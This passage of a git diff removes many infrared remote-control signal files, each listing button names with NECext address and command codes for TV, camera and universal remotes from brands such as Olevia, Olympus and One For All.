6E 00 00 -command: 54 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 55 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 56 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 57 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 58 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 59 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 5A 00 00 00 -# -name: SoundMode -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 5B 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 5C 00 00 00 -# -name: TVSystem -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 5D 00 00 00 -# -name: Goto -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 5E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 80 6E 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir deleted file mode 100644 index dfa61d8fa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0C 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0E 00 00 00 -# -name: MIC -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 11 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 12 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 13 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 14 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 15 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 16 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 17 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 18 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1A 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1B 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1C 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 40 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 41 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 42 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 43 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 44 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 45 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 46 00 00 00 -# -name: TV_GUIDE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 47 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 53 00 00 00 -# -name: GO_TO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 54 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 57 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir deleted file mode 100644 index ce838ba9c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir deleted file mode 100644 index 6a747b720..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir deleted file mode 100644 index 03b48edc5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 00 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 0A 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 0F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 13 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 14 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 17 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 18 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 1B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 1C 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 1D 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 1F 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 20 00 00 00 -# -name: KEY_LIGHTS_TOGGLE -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 23 00 00 00 -# -name: auto -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 24 00 00 00 -# -name: aspect -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 25 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 28 00 00 00 -# -name: freeze -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 29 00 00 00 -# -name: cc -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 2A 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 04 B9 00 00 -command: 2B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir deleted file mode 100644 index d134d14eb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: capture -type: parsed -protocol: NECext -address: 86 3B 00 00 -command: 01 00 00 00 -# -name: KEY_W -type: parsed -protocol: NECext -address: 86 3B 00 00 -command: 02 00 00 00 -# -name: KEY_T -type: parsed -protocol: NECext -address: 86 3B 00 00 -command: 03 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 86 3B 00 00 -command: 04 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 86 3B 00 00 -command: 05 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir deleted file mode 100644 index ef2989528..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CAPTURE -type: parsed -protocol: NECext -address: 86 3B 00 00 -command: 01 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir deleted file mode 100644 index 4bc3e69c3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir deleted file mode 100644 index 5eeb962d3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: f.rew -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: cc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: format -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: f.fwd -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir deleted file mode 100644 index fc177d485..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir +++ /dev/null @@ -1,464 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: III -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: pp -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 22 00 00 00 -# -name: II -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 23 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 25 00 00 00 -# -name: tv/sat -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 28 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 29 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2A 00 00 00 -# -name: textv-off -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2D 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 39 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 39 00 00 00 -# -name: texttv -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3E 00 00 00 -# -name: pvr -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3F 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: 